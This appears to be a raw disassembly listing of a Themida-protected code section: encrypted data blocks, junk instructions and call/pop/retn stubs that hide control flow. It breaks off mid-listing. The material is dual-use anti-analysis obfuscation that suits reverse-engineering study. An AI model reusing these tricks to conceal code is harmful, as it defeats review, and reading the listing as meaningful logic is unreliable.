0B7027B60h dd 8C72D051h, 0C165F468h, 534A087Dh, 0BFA36BBDh, 0AA4384D3h dd 33C43CE0h, 1BF1959Ch, 58532D66h, 0F4282DEAh, 76320E0Ah dd 386F15A4h, 0B4F59823h, 0EA25C9C0h, 0ED136D36h, 282D843Eh dd 0DDEF2BF4h, 1E694A6Ch, 46D5F26Eh, 71874AAFh, 0C0679986h dd 59000000h, 3EF2EE2h, 0C4A0E184h, 4D71DA7h, 8E45225Fh dd 0A0CD9FD6h, 0CA27C534h, 0F9BD9AC5h, 1692CB82h, 0FBAFEC9Fh dd 9893C87Ch, 6DCCA52Ah, 0B6724ECAh, 0DA4E8D3Fh, 0F569AA5Bh dd 9C8FC066h, 6DCCA526h, 6C7E62BEh, 5BD6C92h, 0E16DCCA5h dd 0A52C9685h, 63C86DCCh, 0ECCA58Fh, 0B76E52A2h, 3A04D912h dd 5BCF04BBh, 16AC5F81h, 276DCC67h, 0D7534B80h, 62973902h dd 10F734D7h, 6DCC67B2h, 0A85FD652h, 0B8A34F73h, 0FF34EBEAh dd 53F28113h, 5A845A66h, 0CC6713AFh, 6277F36Dh, 0CC6719A9h dd 0AD21FD6Dh, 97F3E4C2h, 49000000h, 7C68CBE0h, 29D86DCCh dd 0E289508Ah, 84F6D0ADh, 2DD90EB5h, 32983449h, 1087437Ah dd 2DAC2059h, 9F813D7Ah, 533F0CAEh, 0F1989A2Dh, 0F4BF9CB8h dd 1E9D1150h, 28AF2B6Ah, 11884485h, 0C57D2C5Dh, 216DCC68h dd 8C4F2145h, 8DE99DD4h, 0EA14E670h, 0CC68833Fh, 0F207636Dh dd 738DC269h, 11E5427Ah, 638819DCh, 8316B049h, 4E08E541h dd 25D5h, 0C805DB00h, 2D830CD0h, 0FE443392h, 166DCC70h dd 0CD3D2D1Ah, 82E9E216h, 215FDF65h, 7CF64C3Fh, 120E6DCCh dd 80326F35h, 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh dd 9034533Fh, 8126A551h, 94395044h, 7830A75Bh, 51CF5541h dd 0C181E189h, 4, 4BB53h, 0D9290000h, 240C875Bh, 0E389535Ch dd 4C381h, 0EB810000h, 4, 5C241C87h, 68243489h, 7482h dd 55241489h, 17791E68h, 0EE895D06h, 4EC815Dh, 89000000h dd 4832424h, 815A0424h, 4ECh, 24348900h, 0E242C81h, 8F06D651h dd 42810842h, 0D6510E08h, 2434FF06h, 4C4815Ah, 0FF000000h dd 835E2434h, 0FDE904C4h, 4FFF900h, 0B8E13AEFh, 6177EF4h dd 0D38BC503h, 2AE9h, 2404C700h, 0 ; --------------------------------------------------------------------------- call $+5 pop ebp sub ebp, 6177F8Eh mov eax, [esp+4] mov [ebp+6101911h], eax mov eax, 0 lea ecx, [ebp+6104E85h] jmp ecx ; --------------------------------------------------------------------------- mov eax, 6754h jmp short loc_5C3434 ; --------------------------------------------------------------------------- align 10h dd 4 dup(0) dd 1010000h ; --------------------------------------------------------------------------- loc_5C3434: ; CODE XREF: Themida_:005C341Cj insb add eax, [eax] add [edi], dl push es push 0 push eax call sub_5C3445 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3445 proc near ; CODE XREF: Themida_:005C343Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5C3445 endp ; --------------------------------------------------------------------------- cmp dword ptr [edx-769F9FF5h], 0FFFFFFB5h and eax, 66061020h xor ebx, 0F618A96h mov bh, 0C6h popa push eax jmp loc_5C3479 ; --------------------------------------------------------------------------- dd 1E1D438Bh, 39B3AA3Ah db 0E1h ; --------------------------------------------------------------------------- loc_5C3479: ; CODE XREF: Themida_:005C346Bj mov [esp], eax loc_5C347C: ; CODE XREF: Themida_:005C34EDj push 0 push ebp call sub_5C3487 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3487 proc near ; CODE XREF: Themida_:005C347Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5C3487 endp ; --------------------------------------------------------------------------- aUXMFb_j db 'ãÃ*Óå[Œ]šÒfßÕ.j',0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5C34B3 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C34B3 proc near ; CODE XREF: Themida_:005C34ABp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5C34B3 endp ; --------------------------------------------------------------------------- setalc enter 66B7h, 0BFh pop ebp dec ebx push 0 push 0 push edi call sub_5C34D7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C34D7 proc near ; CODE XREF: Themida_:005C34CFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5C34D7 endp ; --------------------------------------------------------------------------- mov eax, ds:6F5AE042h inc ebx loope loc_5C347C test [ebp-7Fh], eax pop ss push es jb loc_5C34FD movsx edi, ax loc_5C34FD: ; CODE XREF: Themida_:005C34F4j nop jge $+6 push eax jbe $+6 nop push 0 push ebx call sub_5C3517 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3517 proc near ; CODE XREF: Themida_:005C350Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5C3517 endp ; --------------------------------------------------------------------------- db 0E6h ; --------------------------------------------------------------------------- and edi, ds:0F3D89CAAh push 0 pusha mov edx, 45BDDE5Eh mov [ebp+6101FA9h], ecx popa push 0 push 0 push ebx call sub_5C354A and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C354A proc near ; CODE XREF: Themida_:005C3542p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5C354A endp ; --------------------------------------------------------------------------- dw 0A876h dd 93E6B22Bh, 77A5CF49h, 0C8D0Fh, 820F0000h, 6, 6058D03h dd 8B660610h, 1995FFFAh, 0B706101Dh, 562E9E6h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0F87B5DC3h, 68A0Fh, 8D0B0000h, 6102309h, 0E8h, 0ED815D00h dd 617814Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 19h, 48C35141h, 2CB2621h, 6AE5B50Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 3865C351h dd 0BD8B5444h, 6101C99h, 4E8h, 0FA000h, 0BE85100h, 6000000h dd 0E11756D6h, 0B072A28Eh, 7E8B2F8h, 0C6000000h, 1A81BEE0h dd 5A5A743Fh, 0F88B505Bh, 424448Bh, 310F5250h, 0F6BF5250h dd 0F476EB2h, 5299B931h, 585A2D17h, 8B585Ah, 10E8h, 0CA525100h dd 1DB7470Eh, 4AC47CAAh, 0C294CFB2h, 0DE963h, 0EF1E0000h dd 9BBBC734h, 41669E13h, 5BC6AEC9h, 4244489h, 4860Fh, 60600000h dd 52586161h, 860Fh, 0FF5B0000h, 1031C995h, 0A8E28006h dd 7FB3B58Dh, 8B660617h, 5206C7D0h, 0BF6D6765h, 7C80DDF7h dd 0EE8h, 0A9010100h, 0FCF2A1FAh, 2026B4BFh, 0E8AB32E4h dd 7, 0E2441EDFh, 669F34A7h, 5AA617B9h, 446C75Fh, 6C636E6Fh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 21C35545h dd 95BA66ADh, 846C7DBh, 737361h, 9537C381h, 6A586Bh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0C9C35545h, 0B5896FDFh dd 6102AE9h, 7FB3858Dh, 6A0617h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0C32E7DC3h, 1CC99D8Bh dd 50900610h, 0FCC8A52h, 10E931h, 26040000h, 61DAE570h dd 0CD5E6169h, 16C959CFh, 585A6AE9h, 52505250h, 310FDD8Ah dd 5ACA8B66h, 33905B58h, 1015A98Dh, 18F0F06h, 0F5000000h dd 22D595FFh, 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 605326C3h, 0DE9h, 0AF316A00h, 19D58F88h dd 0DB8D755Eh, 850F1545h, 6, 16FD8D23h, 0B610610h, 30840FC0h dd 3000000h, 1012C1BDh, 2A6E906h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 52D695C3h dd 6723DF81h, 68590B86h, 0E2DB699Eh, 0F505250h, 8Bh, 310F5900h dd 295B3AB9h, 81585A22h, 978E2404h, 0FF81D24h, 95FFD0B7h dd 61031C9h, 6558D8Bh, 0B58D0610h, 6177FB3h, 72A2F5B9h dd 3106C723h, 6A363438h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 6571C352h, 66BCDE50h dd 8BDD86B9h, 446C7D6h, 31342D37h, 0E79BD8Bh, 8B0F0610h dd 8, 2850Fh, 0FE8B0000h, 846C7h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 7351C355h, 0FDAC27B1h, 6AF578h, 0B5B52952h, 5F061021h dd 7FB3858Dh, 0B5890617h, 6102F35h, 8B5036B3h, 240489FBh dd 0A658D8Bh, 95FF0610h, 61022D5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 3BC35747h, 0E3981457h, 840FC00Bh dd 32h, 6D44DB81h, 79E94CCDh, 6A000001h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 8B35C357h dd 9D011982h, 61013D9h, 4E840B3h, 2C000000h, 66000001h dd 8B50CA8Bh, 0E8042444h, 9, 784AEADAh, 0F04E443Ah, 8B52508Fh dd 0BB310FDFh, 7ACF8874h, 8B5F585Ah, 89DA8B00h, 0BF042444h dd 59ACFAD4h, 0F9BF0F58h, 31C995FFh, 0F5600610h, 23098589h dd 8D610610h, 177FB3B5h, 0D38B6606h, 694606C7h, 8D33656Ch dd 61010C9h, 6D0446C7h, 29636E6Fh, 102E5D95h, 846C706h dd 7373616Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 51C35343h, 16FCFB83h, 0C46C7h, 66000000h, 0DF03E381h dd 0D98B006Ah, 7FB3858Dh, 81660617h, 50180DF1h, 4896CB6h dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0BAA1B2FCh, 9CE0B491h, 9504C2Eh, 101DB1B5h dd 95FF5F06h, 61022D5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 54C35545h, 0D22A40C0h ; --------------------------------------------------------------------------- loc_5C3A40: ; DATA XREF: ___:off_438438o ; ___:off_43A570o ... xor ebx, [ebp+6101C51h] or eax, eax jz loc_5C3A5A mov [ebp+6101E01h], ecx jmp loc_5C3A88 ; --------------------------------------------------------------------------- cld loc_5C3A5A: ; CODE XREF: Themida_:005C3A48j jmp near ptr dword_5C355C+54h ; --------------------------------------------------------------------------- push 0 push ebx call sub_5C3A6A and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3A6A proc near ; CODE XREF: Themida_:005C3A62p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5C3A6A endp ; --------------------------------------------------------------------------- add byte ptr [eax], 31h test [ebp+1Ch], edi adc [esi], al mov [ebp+6101D25h], ebx loc_5C3A88: ; CODE XREF: Themida_:005C3A54j lea esi, [ebp+61073A3h] and cx, 8366h or [ebp+6103161h], ecx mov eax, 0 push 0 push ecx call sub_5C3AA9 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3AA9 proc near ; CODE XREF: Themida_:005C3AA1p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5C3AA9 endp ; --------------------------------------------------------------------------- add ebx, [ecx+4D8D897Eh] adc edx, [eax] push es jmp esi ; --------------------------------------------------------------------------- push 0 push ecx call sub_5C3ACF and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C3ACF proc near ; CODE XREF: Themida_:005C3AC7p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_5C3ACF endp ; --------------------------------------------------------------------------- db 0A5h dd 0C5B557A2h, 7AB5B031h, 6E8C18Bh, 6E000000h, 92FF0277h dd 1DBD8B9Fh, 5A061017h, 0C28116B5h, 6D4Dh, 0C458D8Bh dd 680610h, 66000000h, 0F58C88Bh, 682h, 259D2300h, 0FF06100Fh dd 9D891034h, 6102E69h, 0FB8B665Eh, 4D56C681h, 0B5315F00h dd 61006B5h, 4C37EE81h, 8B607B32h, 1008D58Dh, 0C1BD2906h dd 6106101Bh, 6B15F681h, 8B0F6136h, 0Eh, 7E8h, 0A0572700h dd 0BCC7DFF1h, 8B565FFCh, 1013898Dh, 2048F06h, 0F296E881h dd 8B6607F6h, 92C081FEh, 6607F6F2h, 817714B9h, 0FF9388F8h dd 1F850FFFh, 89000000h, 100EE5B5h, 2EE906h, 8CC90000h dd 1BAD262Bh, 60C9ABEFh, 1F3D7688h, 5E176D8Dh, 0BD8B582Bh dd 610239Dh, 0FFFF66E9h, 5AD351FFh, 0D7627D50h, 0F2F87003h dd 0F08FFD2Dh, 75FDED55h, 76F67A5Eh, 56E669A4h, 83FD49BCh dd 0E1FD26F4h, 26FD26DAh, 84FD26CDh, 76FD2644h, 6CFD2682h dd 35FD2660h, 2AFD2611h, 1FD26A9h, 4CFD26F5h, 5FD26DAh dd 7EFD26CDh, 0DBFD2639h, 0B8FD2682h, 85FD2660h, 41FD2611h dd 95FD26D7h, 9DFD26F4h, 95358A25h, 76D6A222h, 5CDE714Ah dd 5CF44BBDh, 75FD7A5Ah, 75F57227h, 74FD7997h, 73FD78CBh dd 74F57DEDh, 74FC7BF3h, 75FC7B78h, 75FD7ABCh, 76FD7A5Eh dd 75A6ED8Fh, 75A6E227h, 75FD7ACBh, 74FC7BE4h, 74FC7BF3h dd 75F8B290h, 0F0701ABCh, 73EAF12Bh, 0F251FFA6h, 0F0707C80h dd 73EAF140h, 0F291FF6Ch, 0F0707CE5h, 73EAF1B0h, 0F255FF35h dd 0F0707C49h, 73EAF106h, 0F28DFF1Eh, 0F0707CDCh, 73EAF00Dh dd 0F289FF7Bh, 0F0707C6Eh, 73EAF33Ah, 0F285FFD7h, 0F0707C38h dd 73EAF30Fh, 0F281FF42h, 0F0707CF2h, 73EAF35Ch, 0F27DFFF0h dd 0F0707CABh, 73EAF057h, 0F271FFA6h, 0F0707C80h, 73EAF31Eh dd 0F279FF6Ch, 0F0707CE5h, 73EAF38Dh, 0F275FF35h, 0F0707C49h dd 73EAF026h, 0F271FF1Eh, 0F0707CDCh, 73EAF0A6h, 0F261FF7Bh dd 0F0707C6Eh, 73EAF0DEh, 0F25DFFD7h, 0F0707C38h, 73EAF012h dd 0F259FF42h, 0F0707CF2h, 73EAF03Ch, 0F26DFFF0h, 0F0707CABh dd 73EAF15Bh, 0F269FFA6h, 0F0707C80h, 73EAF16Bh, 0F265FF6Ch dd 0F0767CE5h, 73ED66D8h, 0F218FF35h, 0F0767C49h, 73ED64CAh dd 0F214FF1Eh, 0B69C7CDCh, 9D11F1B0h, 75FD7AF2h, 8C17FB23h dd 25FB6D34h, 0FDF53FD5h, 627A9EADh, 0B7342291h, 23AC7ACFh dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 73EAF3A6h, 0F296FFA0h dd 0C87D7C38h, 73EAFDFCh, 0C5B409CFh, 0B54B75E4h, 3589BAF9h dd 0F214EF86h, 0FEBD7CABh, 7A452B96h, 8AFD7A2Fh, 627A9302h dd 1948F7CDh, 0F8FB6D62h, 9D50FCC6h, 75FD7E4Bh, 76456FCFh dd 8AFD7A5Eh, 627A93BAh, 1948F791h, 0F8FB6D4Ch, 8A50FCD1h dd 0BC1F2322h, 0F296F787h, 2DA07CABh, 2CA32005h, 776D92ECh dd 0CD4D7A97h, 8A5779C1h, 627A9F70h, 9D3ED1F4h, 75FD7807h dd 0CD9BC2DAh, 0DE9B5954h, 0F218EFD0h, 0DE9B7C80h, 77959208h dd 360B7AE5h, 6E8872F3h, 0F218EF86h, 0C54D7CABh, 8AAD7954h dd 627A9FBAh, 0F69B2091h, 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah dd 4E152979h, 2FFD7ABEh, 7B89A065h, 913D59A5h, 0F5DF7094h dd 0FE4DBA07h, 9D3ED183h, 75FD7B00h, 77E1922Ah, 4EA77ABCh dd 0C5120E84h, 0A916D049h, 75FCA77Fh, 74BE8CCBh, 26D30FEDh dd 75FF7B1Ah, 360B2079h, 548872BDh, 6889A065h, 913D59A5h dd 0F5DF7094h, 0FF4DBA07h, 906885B5h, 2FFB6D75h, 51FD5F1Fh dd 133F71DAh, 0E94DB9F5h, 74BD9285h, 0F44D7A97h, 74359261h dd 2D157AE5h, 0DEFD7AF2h, 75FC5791h, 0DF60CABCh, 0DF61CA9Dh dd 75FC5BC7h, 13451C97h, 9D561C4Ah, 75FD7B43h, 75FD4C1Ah dd 9D561C79h, 75FD7BB6h, 0B657E7EEh, 9D57E69Fh, 75FD7A69h dd 75FCF323h, 74BE8CE5h, 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh dd 7DF99EDEh, 0AA158448h, 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h dd 0F214EF0Dh, 0C0707C6Eh, 73EAFD0Ch, 7F518A5Dh, 0E002D02Ch dd 73EAFD72h, 74E59208h, 254D7AE5h, 9D5779F8h, 8A02844Bh dd 75FC4354h, 7FA5CA5Eh, 0C53ED02Ch, 274DD0C7h, 8BE19261h dd 0CD9B851Ah, 0DE9B4BFDh, 8A036B91h, 0DFA7CA43h, 0B65722EEh dd 2257929Fh, 750C923Ch, 0FEA77ACBh, 0F63F5122h, 77747E1Ah dd 8A008B91h, 75059243h, 2D4D7A5Eh, 0B6577925h, 0F29FFF69h dd 0C87D7CDCh, 73EAFD87h, 0F8EC0FF3h, 627AAEFCh, 61152ABAh dd 9DFD7A5Ch, 75FD781Bh, 9D571A27h, 8A028775h, 8A00C30Dh dd 0DF9CCA0Dh, 0F29FF787h, 0C87D7CABh, 73EAFD3Ch, 0F8F10F2Fh dd 627AAE12h, 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah, 9C688579h dd 0F8FB6D3Bh, 62714BC3h, 6DF9F029h, 9C4DB93Dh, 9D562D61h dd 75FD7A8Eh, 5E3AF1A8h, 7115F9BBh, 8A3E7835h, 627A9FCBh dd 514ACE29h, 0C1FF0E96h, 13F2CA74h, 75C9924Eh, 9DAE7AF2h dd 75FD7A27h, 0B5FEF0E6h, 0B5F179BEh, 0B6577825h, 0F218EF68h dd 917D7CDCh, 0F539FAEAh, 0DE9B7542h, 5A15D12Eh, 2F028541h dd 0B7D6BDD5h, 0FCF992ACh, 7345B995h, 8AFD7ACBh, 627A9370h dd 0BD60F7F4h, 0F8FB6DFEh, 0CD3E39A0h, 75FD7A4Eh, 0F214EFD0h dd 0B57E7C80h, 8935F1CEh, 0F218EF1Ah, 97577CE5h, 0BE15B98Eh dd 0FF028543h, 72D97B1Dh, 76778E5Ah, 75FC6C7Fh, 0B61608CBh dd 8908831Dh, 0F611F1A7h, 9D9D86BDh, 75FD7ABCh, 3417FB04h dd 0FCFB6DA3h, 0CF7D86EAh, 73EAFD2Fh, 0EC7975E5h, 0CDFD7AF2h dd 75FD7A73h, 0F214E843h, 0FCBD7C49h, 627A97ADh, 0F835F191h dd 62706F79h, 906F85E3h, 0FDFB6D75h, 801F3C7Fh, 75FD6D04h dd 987F795Eh, 35FB6DA8h, 0F8F4E01Ah, 0B67E7CDCh, 22FEF3E1h dd 75FD644Bh, 98777979h, 0F8FB6D3Bh, 62718DECh, 2B598929h dd 75FD722Fh, 9C6F85CBh, 0F6FB6D62h, 85897E0Ah, 72447C71h dd 7DFD7ABCh, 0C3F24B5Ah, 761EBBF7h, 75FD742Eh, 44E172CBh dd 75FD765Ch, 44F972F2h, 75FD61C0h, 44F972BCh, 75FD66E7h dd 44F9722Fh, 8A015B7Fh, 8980F334h, 8980F184h, 9DADB93Bh dd 75FD7A7Fh, 1102229Ch, 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h dd 67C92CB3h, 0B6AD3A78h, 75FD7AF2h, 75FD7A79h, 0FEA87ABCh dd 75151AB2h, 2FFD7A2Fh, 0F8D59016h, 0CF707CDCh, 73EAFD14h dd 0CCF50F79h, 75FD7A71h, 0BC9CDE4Fh, 26FD7E9Ch, 0F20CE7A2h dd 497D7C80h, 71887BD3h, 771683BEh, 203E82A9h, 9D9D96F2h dd 75FD7ABCh, 1417FB04h, 0F8FB6DA2h, 627A8B25h, 7D80F1CDh dd 75FD725Ch, 145989F2h, 75F9B8B0h, 8440F7DCh, 46FB6DD9h dd 75F5C3EFh, 0DF0E7A97h, 0F89DB9AAh, 627A8B58h, 74C2FBF4h dd 0FC7B78h, 7182FBB0h, 74FC7B5Fh, 9E04795Ah, 0B69C8296h dd 8440F7ABh, 0CDFB6D62h, 75FD7AF3h, 75FD72C0h, 145789BCh dd 0FE3DF19Dh, 8B78F7EFh, 8AFB6D10h, 0E8CA8BD0h, 11h, 5F0641EDh dd 391406B4h, 85A922CCh, 0E1A13BD4h, 8B6650F0h, 81585AD3h dd 0E521D4CAh, 0D3C08126h, 0E90000D9h, 14h, 0E8988340h dd 90EF3AA5h, 0E384ACC0h, 5681E2E6h, 0B440EA58h, 0BBh dd 78E0F00h, 0F000000h, 185h, 3C8BF500h, 81D18B18h, 797BBBC7h dd 1FD1814Ch, 810B77C8h, 500389EFh, 0FE944h, 458E0000h dd 0C5B652Ah, 77914F93h, 0B759D54Fh, 78C7816Fh, 0F50FB4Ch dd 0C88h, 68C0F00h, 81000000h, 11FEA7DEh, 8E95729h, 0F7000000h dd 819643EEh, 8F0C6782h dd 0DA801804h, 8392B29Ch, 0B70F02EBh, 0F4B4BF6h, 188h dd 0FB81F800h, 0FFFF26F0h, 0FF8C850Fh, 0A3BEFFFFh, 0E9078A9Ch dd 30h, 2971F1F7h, 0Bh dup(0) ; --------------------------------------------------------------------------- jmp loc_5C50EE ; --------------------------------------------------------------------------- push 61790DDh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6179235h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61792D6h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6179359h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61796CCh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 61799B0h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 6179ABCh jmp loc_5534D8 ; --------------------------------------------------------------------------- db 16h ; --------------------------------------------------------------------------- jz short loc_5C43BB loc_5C438A: ; CODE XREF: Themida_:loc_5C438Aj jge short loc_5C438A inc esi setnp byte ptr ds:8629B02Ch dec ecx xchg eax, ebp push es ; --------------------------------------------------------------------------- dd 0C1A72362h, 36751745h, 1152F382h, 2D681E9Dh, 4C812AB1h dd 0E8A39D90h, 6BDBF35Ah, 3257DDBAh ; --------------------------------------------------------------------------- jle short loc_5C43F9 push ebx loc_5C43BB: ; CODE XREF: Themida_:005C4388j fldenv byte ptr [edx-52h] outsd pop edx loope near ptr loc_5C43EB+4 push edi mov ah, 77h mov esp, [edi+23B20FCBh] mov eax, 0DE6E3A6h cld and [si+2Ah], al push esp push ebp in eax, dx xchg eax, edx and edx, [ecx+ecx-23B1AFD3h] add al, [edi] mov ebx, 94942392h in eax, dx mov ah, 0BCh pusha loc_5C43EB: ; CODE XREF: Themida_:005C43C0j mov esp, [eax-6BDC6DDAh] lds ebp, [esi+3BFFD217h] jnp short loc_5C4432 loc_5C43F9: ; CODE XREF: Themida_:005C43B8j fbld tbyte ptr ds:2D000000h pop esp mov ebp, 0A7324C1Eh add edx, ecx lodsd test byte ptr [ebp+2Dh], 0FCh db 67h test eax, 3492D9CDh mov bl, 23h xchg eax, esp xlat pushf add eax, 7B670DE0h cmp ebp, ebp pop es ; --------------------------------------------------------------------------- db 0 dd 405F0000h, 89Bh, 4479328Ch, 5D923950h db 0E1h, 0FFh ; --------------------------------------------------------------------------- loc_5C4432: ; CODE XREF: Themida_:005C43F7j cmp al, 88h dec ecx xchg eax, edx fsub qword ptr [ecx+419A39CCh] das push ecx mov ah, bl stosb int 0D6h ; used by BASIC while in interpreter cmc adc esp, edi adc [di], edx popa cmp cl, [esi+edx*4+546F9423h] mov ebp, 0B2EBA219h xchg eax, ebp loop loc_5C4468 inc eax jnp short loc_5C4495 out dx, eax inc eax ; --------------------------------------------------------------------------- dw 0 dd 0BD5C5D00h, 0D78D4C1Eh ; --------------------------------------------------------------------------- loc_5C4468: ; CODE XREF: Themida_:005C4457j ; Themida_:005C446Dj mov al, ds:0DDF6B5CBh jl short near ptr loc_5C4468+3 cmp [di], edi dec ecx and ah, [ebx+eax*4-16B86BDDh] pop ss adc al, 0AEh and dword ptr [ebx], 0FFFFFF94h inc esi jmp far ptr 367Fh:52972E0Dh ; --------------------------------------------------------------------------- dd 0FEEF397Bh, 11F2F069h, 7A314BCAh db 0C8h ; --------------------------------------------------------------------------- loc_5C4495: ; CODE XREF: Themida_:005C445Aj aaa and edx, [esp+ebp-84AE4D0h] ; --------------------------------------------------------------------------- db 3 dup(0) dd 5F04D717h, 0D58E4522h, 33D5F4A0h, 7CB70BFEh, 0D34F6DCCh dd 0DB8403EFh, 24DBFAA6h, 6B52F4E6h, 80648AFCh, 0FC811DCCh dd 0AD566DCCh, 0F1DAC478h, 4FAB1EA8h, 7B381547h, 0A3BD8FC4h dd 0CCFE5AE8h, 895EBA6Dh, 4A91289Dh, 3202A930h, 0D34F437Ah dd 0D806DAEFh, 5875AA61h, 0FC88B6ABh, 58D45067h, 0DDEFEC0Bh dd 0B86CA95Eh, 0D2B99FBCh, 9E0AC761h, 0CD13B883h, 79D76D7Ch dd 0EE0BE725h, 9B1E302Ch, 4C2EAAE9h, 0E9CB7732h, 2F2B9E11h dd 7FFFE00Ah, 4116CD46h, 43FCD67Ah, 0E2FE620Eh, 3730F375h dd 0E0C9DD40h, 0ACAh, 0B672B555h, 0D652893Fh, 0BD71AA5Fh dd 904C893Eh, 0B4286709h, 74184AB6h, 4F027935h, 671B9A0Eh dd 8229B02Ch, 0A29E914Dh, 0DBEC5BE7h, 56DEBB6Bh, 8B3F7E32h dd 0DF83530Ch, 9742C89Bh, 0B4909ED0h, 0ED22C9C0h, 2A6E409h dd 0B8F51B1h, 5CD573E7h, 324C1EBDh, 0CC7CCB77h, 782F2B6Dh dd 9EC297D2h, 0FC7CC6EBh, 0A2494067h, 0C4C7B96Dh, 9423837Eh dd 9AB69A96h, 57EB9EC0h, 0AF942383h, 96E896B3h, 31E51EC3h dd 0D36B1835h, 64942383h, 0FB9A86BBh, 0F4630F44h, 7720AC43h dd 9A21A53Ch, 66CAB6F7h, 37438E91h, 0F023397Bh, 69000000h dd 50447932h, 0F6BCEDDEh, 82C8E297h, 0FB3AEE65h, 863CFFE1h dd 2CDB574Bh, 6DCC8D96h, 29D5F26Eh, 0A0E18457h, 0F046E0CBh dd 0F0976DCCh, 0BFACA1BBh, 0CB3D9CB5h, 9904623h, 8C792D62h dd 0E82E656Dh, 0B5F2A229h, 0DBCB3390h, 81658136h, 0BC6F916Fh dd 6DCC0306h, 210079DEh, 7A78E253h, 998A8156h, 3D67FCE0h dd 3AF10FE1h, 943CA788h, 63DBF06Ch, 0A349F7FEh, 0E376886Ch dd 161A063Dh, 0D66C1F41h, 2E9E0A6Ah, 0EFA11832h, 45AD9EB0h dd 8CC57CFEh, 7CAF9C98h, 0BC6DEC5Dh, 0CEAB877Bh, 0A0DF9108h dd 34E5233Bh, 0B039ED40h, 972h, 4E0A4DFDh, 6EEA21C7h, 550942E7h dd 68E421C6h, 4C003FF1h, 0FCB0225Eh, 0D77A01BDh, 0EF932296h dd 0CA81F8B4h, 4A361995h, 0DBEEE35Fh, 1EA6036Bh, 8B3F7E32h dd 4B822AB1h, 0C9FEA52Eh, 0F9B02B15h, 3221ABC0h, 39504479h dd 3DE15D92h, 805B7A7Fh, 15B906Eh, 3C8A5EA6h, 9D06FDDAh dd 3967FCBFh, 56D17A3Dh, 0D342F956h, 0C6C59744h, 37D7533Dh dd 232F54D9h, 8FBCF19Ah, 233FF421h, 6873826Fh, 9FB59396h dd 0D14D2DE0h, 0B55AE1FFh, 2FD86378h, 10B73EFAh, 9DF66EDBh dd 0ECB8F7EDh, 8D1FBh, 67AA5C00h, 85BC64F3h, 629B52C9h dd 7FBC6FE6h, 59984CCBh, 699BE7E5h, 45D488C7h, 70E763A4h dd 4CCB7FBAh, 0FFEA5E93h, 0EEB40EFDh, 53506BDBh, 3B7932C9h dd 0D6046157h, 0BA668A99h, 532DAE45h, 0FCDB0B58h, 9DAFAB67h dd 0B12D681Eh, 48FAB1CFh, 0AC943CC9h, 6A209BB0h, 0AE14432Fh dd 4F943CC9h, 943CB9F7h, 66786372h, 0CBECEA3h, 926CC89Eh dd 11E625C7h, 98CD7615h, 0A804F33h, 0A435E140h, 84Eh, 42F639D9h dd 62D60DB3h, 39F52ED3h, 5CD00DC2h, 70EC2BDDh, 28DC0E7Ah dd 43E675E9h, 1BCF4602h, 36ED6CE0h, 